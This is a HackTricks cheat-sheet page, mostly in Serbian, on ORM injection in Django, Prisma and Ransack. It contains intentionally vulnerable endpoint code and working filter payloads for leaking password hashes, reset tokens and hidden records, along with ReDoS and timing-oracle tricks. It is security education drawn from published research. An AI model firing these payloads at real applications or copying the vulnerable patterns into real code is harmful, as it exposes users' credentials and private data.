ORM Injection
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Django ORM (Python)
U ovom postu objašnjeno je kako je moguće učiniti Django ORM ranjivim koristeći, na primer, kod kao što je:
class ArticleView(APIView):
"""
Neki osnovni API prikaz na koji korisnici šalju zahteve za
pretragu članaka
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Obratite pažnju kako se svi request.data (koji će biti json) direktno prosleđuju da filtriraju objekte iz baze podataka. Napadač bi mogao poslati neočekivane filtre kako bi iscurilo više podataka nego što se očekuje.
Primeri:
- Login: U jednostavnom prijavljivanju pokušajte da iscurite lozinke korisnika registrovanih unutar njega.
{
"username": "admin",
"password_startswith": "a"
}
caution
Moguće je izvršiti brute-force napad na lozinku dok ne dođe do curenja.
- Relacijsko filtriranje: Moguće je preći kroz relacije kako bi se došlo do informacija iz kolona za koje se nije ni očekivalo da će biti korišćene u operaciji. Na primer, ako je moguće doći do članaka koje je kreirao korisnik sa ovim relacijama: Article(
created_by
) -[1..1]-> Author (user
) -[1..1]-> User(password
).
{
"created_by__user__password__contains": "pass"
}
caution
Moguće je pronaći lozinku svih korisnika koji su kreirali članak
- Filtriranje više prema više: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge odnose, to je moguće. Na primer: Article(
created_by
) -[1..1]-> Author(departments
) -[0..*]-> Department(employees
) -[0..*]-> Author(user
) -[1..1]-> User(password
).
{
"created_by__departments__employees__user_startswith": "admi"
}
caution
U ovom slučaju možemo pronaći sve korisnike u odeljenjima korisnika koji su kreirali članke i zatim otkriti njihove lozinke (u prethodnom json-u samo otkrivamo korisnička imena, ali je moguće otkriti i lozinke).
- Zloupotreba Django Group i Permission many-to-many odnosa sa korisnicima: Štaviše, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke many-to-many odnose sa Permission i Group tabelama. Što je u suštini podrazumevani način da se pristupi drugim korisnicima iz jednog korisnika ako su u istoј grupi ili dele istu dozvolu.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Zaobilaženje ograničenja filtera: Isti blog post je predložio zaobilaženje korišćenja nekih filtera kao što je
articles = Article.objects.filter(is_secret=False, **request.data)
. Moguće je izvući članke koji imaju is_secret=True jer možemo da se vratimo iz veze u tabelu Article i da otkrijemo tajne članke iz netajnih članaka jer su rezultati spojeni i is_secret polje se proverava u netajnom članku dok se podaci otkrivaju iz tajnog članka.
Article.objects.filter(is_secret=False, categories__articles__id=2)
caution
Zloupotreba odnosa može omogućiti zaobilaženje čak i filtera koji su namenjeni zaštiti prikazanih podataka.
- Greška/Na osnovu vremena putem ReDoS: U prethodnim primerima očekivalo se da će biti različitih odgovora ako filtriranje funkcioniše ili ne, kako bi se to koristilo kao orakl. Ali može biti moguće da se neka akcija izvrši u bazi podataka i da je odgovor uvek isti. U ovom scenariju može biti moguće izazvati grešku u bazi podataka kako bi se dobio novi orakl.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
- SQLite: Po defaultu nema regexp operator (zahteva učitavanje eksterne ekstenzije)
- PostgreSQL: Po defaultu nema regex timeout i manje je podložan backtrackingu
- MariaDB: Po defaultu nema regex timeout
Prisma ORM (NodeJS)
Sledeće su trikovi izvučeni iz ovog posta.
- Potpuna kontrola nad pronalaženjem:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Napadač ima potpunu kontrolu nad svim prisma opcijama
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Moguće je videti da se celo javascript telo prosleđuje prismi za izvršavanje upita.
U primeru iz originalnog posta, ovo bi proverilo sve postove koje je kreirao neko (svaki post je kreiran od strane nekoga) vraćajući takođe informacije o korisniku tog nekoga (korisničko ime, lozinka...)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Sledeći upit bira sve postove koje je kreirao neko sa lozinkom i vratiće lozinku:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Potpuna kontrola where klauzule:
Pogledajmo ovo gde napadač može kontrolisati where
klauzulu:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Podložno ORM leak-ovima
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Moguće je filtrirati lozinku korisnika direktno kao:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
caution
Korišćenjem operacija kao što je startsWith
moguće je otkriti informacije.
- Zaobilaženje filtriranja u mnogim-relacijama:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Moguće je otkriti neobjavljene članke vraćanjem na mnoge-na-mnoge odnose između Category
-[*..*]-> Article
:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Takođe je moguće otkriti sve korisnike zloupotrebom nekih loop back mnogu-na-mnoge odnosa:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Greške/Upitnici sa vremenom: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Gde je {CONTAINS_LIST}
lista sa 1000 stringova kako bi se osiguralo da odgovor bude odložen kada se pronađe ispravna leak.
Ransack (Ruby)
Ove trikove su pronašli u ovom postu.
tip
Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne liste dozvoljenih atributa i asocijacija za pretraživanje.
Vulnerabilan primer:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force na reset token sa:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Kroz brute-forcing i potencijalne veze bilo je moguće iscuriti više podataka iz baze podataka.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://positive.security/blog/ransack-data-exfiltration
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.